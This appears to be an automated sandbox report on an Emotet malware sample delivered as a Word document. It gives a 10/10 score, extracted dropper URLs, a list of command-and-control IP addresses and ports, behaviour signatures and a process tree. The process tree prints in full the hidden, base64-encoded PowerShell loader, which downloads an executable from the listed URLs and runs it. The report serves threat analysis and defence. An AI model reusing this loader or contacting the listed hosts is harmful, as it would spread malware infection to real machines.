Analysis

  • max time kernel
    26s
  • resource
    win10v191014
  • submitted
    17-01-2020 13:32

General

  • Target

    709515b23e5b747439017795a65815ee0b37983e8a39520cc541e85472a7095d

  • Sample

    200117-3x7fl2ypxn

  • SHA256

    709515b23e5b747439017795a65815ee0b37983e8a39520cc541e85472a7095d

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://oniongames.jp/contact/iY/

exe.dropper

http://pmthome.com/posta/dr3zxa/

exe.dropper

http://urgeventa.es/img/k35d9q/

exe.dropper

https://solmec.com.ar/sitio/nTXZomKCx/

exe.dropper

https://tiagocambara.com/cgi-bin/s96/

Extracted

Family

emotet

C2

68.172.243.146:80

64.40.250.5:80

81.17.92.70:80

91.250.96.22:8080

37.187.72.193:8080

104.131.44.150:8080

167.71.10.37:8080

37.139.21.175:8080

73.11.153.178:8080

192.241.255.77:8080

91.205.215.66:443

201.229.45.222:8080

46.105.131.87:80

188.0.135.237:80

78.142.114.69:80

64.53.242.181:8080

93.147.141.5:443

101.187.134.207:8080

72.189.57.105:80

190.117.126.169:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\709515b23e5b747439017795a65815ee0b37983e8a39520cc541e85472a7095d.doc" /o ""
    1⤵
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Suspicious behavior: AddClipboardFormatListener
    PID:4996
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABLAHEAbABkAGYAbQBiAHYAcgA9ACcAWABpAGQAdgBvAHIAYgBrAGsAYwBnAHQAYQAnADsAJABGAHkAbQBiAGgAeQBlAHgAbQBoACAAPQAgACcANQA5ADMAJwA7ACQATgBuAHIAZwBxAGkAawBrAGYAcQB5AD0AJwBCAGoAcwBwAGMAcABzAGUAYwBxAGYAJwA7ACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAeQBtAGIAaAB5AGUAeABtAGgAKwAnAC4AZQB4AGUAJwA7ACQAUQBlAGUAdwBsAG8AaAB2AG4AaAB6AGoAZwA9ACcAVABxAHkAdABqAHgAaQB0AG8AZAB4AHoAZgAnADsAJABQAHYAcQBrAHIAbgBvAGEAbwA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAEwASQBFAG4AdAA7ACQARgBrAG0AbgBnAGkAdABnAGEAPQAnAGgAdAB0AHAAOgAvAC8AbwBuAGkAbwBuAGcAYQBtAGUAcwAuAGoAcAAvAGMAbwBuAHQAYQBjAHQALwBpAFkALwAqAGgAdAB0AHAAOgAvAC8AcABtAHQAaABvAG0AZQAuAGMAbwBtAC8AcABvAHMAdABhAC8AZAByADMAegB4AGEALwAqAGgAdAB0AHAAOgAvAC8AdQByAGcAZQB2AGUAbgB0AGEALgBlAHMALwBpAG0AZwAvAGsAMwA1AGQAOQBxAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBvAGwAbQBlAGMALgBjAG8AbQAuAGEAcgAvAHMAaQB0AGkAbwAvAG4AVABYAFoAbwBtAEsAQwB4AC8AKgBoAHQAdABwAHMAOgAvAC8AdABpAGEAZwBvAGMAYQBtAGIAYQByAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBzADkANgAvACcALgAiAFMAcABMAGAASQBUACIAKAAnACoAJwApADsAJABYAG0AdgB0AHMAZgBmAGoAZgBqAD0AJwBOAGIAcwBmAHYAYQB2AGsAbQBzAGwAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAUQB0AHkAawBtAGcAcAB5AHkAYwB6AHkAIABpAG4AIAAkAEYAawBtAG4AZwBpAHQAZwBhACkAewB0AHIAeQB7ACQAUAB2AHEAawByAG4AbwBhAG8ALgAiAGQAYABPAFcAbgBsAG8AYQBgAEQAZgBJAGwARQAiACgAJABRAHQAeQBrAG0AZwBwAHkAeQBjAHoAeQAsACAAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABMAHEAcwBuAG8AYwBpAGMAawA9ACcATQB3AHIAbgBoAHMAawB6AGUAdQBzACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQATwBzAHgAagBzAHUAdgBiAGIAeAB6AGMAKQAuACIAbABgAGUATgBnAGAAVABoACIAIAAtAGcAZQAgADMANgA5ADUAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAdAAiACgAJABPAHMAeABqAHMAdQB2AGIAYgB4AHoAYwApADsAJABaAGoAYwB5AGUAYgB0AHUAPQAnAFAAcQByAHYAaABrAGwAcQBlAHIAaQBlACcAOwBiAHIAZQBhAGsAOwAkAEYAegBiAGIAdQBuAHQAdQB1AGwAcABzAGcAPQAnAE0AdQBzAG0AeAB4AHEAYgBvACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAYgByAGgAdAB2AGcAZgB0AGYAegBzAD0AJwBCAHYAdgBnAGcAcABkAGkAawBzAHcAcQByACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:4516
    • C:\Users\Admin\593.exe
      "C:\Users\Admin\593.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4768
      • C:\Users\Admin\593.exe
        --da91804d
        3⤵
        • Suspicious behavior: EmotetMutantsSpam
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        PID:4428

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\593.exe

  • C:\Users\Admin\593.exe

  • C:\Users\Admin\593.exe

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-634046074-2673730973-2644684987-1000\0f5007522459c86e95ffcc62f32308f1_293fa5bd-edfb-4bba-800e-a7dce3ea3438

  • memory/4428-10-0x0000000002400000-0x0000000002417000-memory.dmp

    Filesize

    92KB

  • memory/4428-11-0x0000000000400000-0x0000000000420000-memory.dmp

    Filesize

    128KB

  • memory/4768-7-0x0000000000A50000-0x0000000000A67000-memory.dmp

    Filesize

    92KB